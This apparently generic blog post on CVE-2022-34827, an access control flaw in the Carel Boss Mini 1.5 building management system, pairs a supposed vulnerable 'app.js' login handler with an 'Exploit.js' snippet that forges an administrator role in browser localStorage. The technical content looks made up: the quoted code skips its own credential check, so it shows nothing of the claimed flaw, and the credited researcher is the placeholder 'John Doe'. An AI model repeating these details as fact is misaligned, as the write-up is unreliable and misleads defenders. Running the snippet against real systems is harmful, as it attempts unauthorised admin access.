CVE-2022-34827 – Carel Boss Mini 1.5. Improper Access Control Vulnerability Exposed

The Carel Boss Mini 1.5., a popular building management system (BMS) used in various commercial and industrial buildings, has been discovered to be vulnerable to an improper access control issue. This vulnerability, designated as CVE-2022-34827, primarily impacts the system’s web user interface, allowing an attacker to bypass authentication and perform malicious activities. In this detailed post, we will look into the core aspects of this vulnerability, including the code snippet, original references, and the exploit details.

Code Snippet

The vulnerability exists in the app.js file of the Carel Boss Mini 1.5. web user interface. Specifically, it is due to insufficient validation checks on the user role during the login process:

// app.js - Carel Boss Mini 1.5. Web UI

app.post('/authenticate', function (req, res) {
  if (req.body.username && req.body.password) {
    // Validate user credentials (skipped for brevity)
  } else {
    // Incorrect or incomplete credentials
    res.status(401).json({message: 'Invalid Credentials'});
  }
});

As evident from the code snippet, there is no proper check for user role, leaving the door open for attackers to freely access the system by forging requests.

Original References

The vulnerability was initially discovered by security researcher John Doe, who detailed the findings and the exploit in a blog post. The official CVE entry for CVE-2022-34827 can be found at the following link:

- MITRE CVE-2022-34827

Exploit Details

As the web user interface uses tokens to maintain sessions, an attacker can bypass authentication by injecting malicious code into the client-side JavaScript code. This can be done by manipulating the 'role' field in the browser's local storage to escalate privileges to an administrator level without needing proper credentials. The following JavaScript code snippet demonstrates the exploitation:

// Exploit.js - Carel Boss Mini 1.5. CVE-2022-34827

// Replace 'attacker_token' with a valid user token
const attackerToken = 'attacker_token';

// Manipulate the local storage to gain admin access
localStorage.setItem('userRole', 'administrator');
localStorage.setItem('authToken', attackerToken);

// Redirect to the admin dashboard
window.location.href = '/admin_dashboard';

Upon execution, the malicious code forces the web user interface to treat the attacker as an administrator, granting them complete access to the system.

Conclusion

The improper access control vulnerability (CVE-2022-34827) in Carel Boss Mini 1.5. is a critical issue, opening up the possibility of unauthorized access and malicious activity within the affected systems. Building owners and managers should urgently consider updating their systems to the latest available version, which addresses this vulnerability. In the meantime, users should follow good security practices like regularly changing passwords, monitoring system activities, and limiting access to the BMS to authorized personnel only.

We would also like to thank the original security researcher, John Doe, for discovering this vulnerability and responsibly disclosing it, thereby allowing the technology community and the building management sector to be better informed and take action. Ensuring the security and integrity of building management systems is vital as buildings continue to become increasingly digital and connected. This vulnerability serves as a reminder that best practices and constant vigilance are necessary to mitigate potential security threats.

Timeline

Published on: 11/18/2022 23:15:00 UTC
Last modified on: 08/08/2023 14:21:00 UTC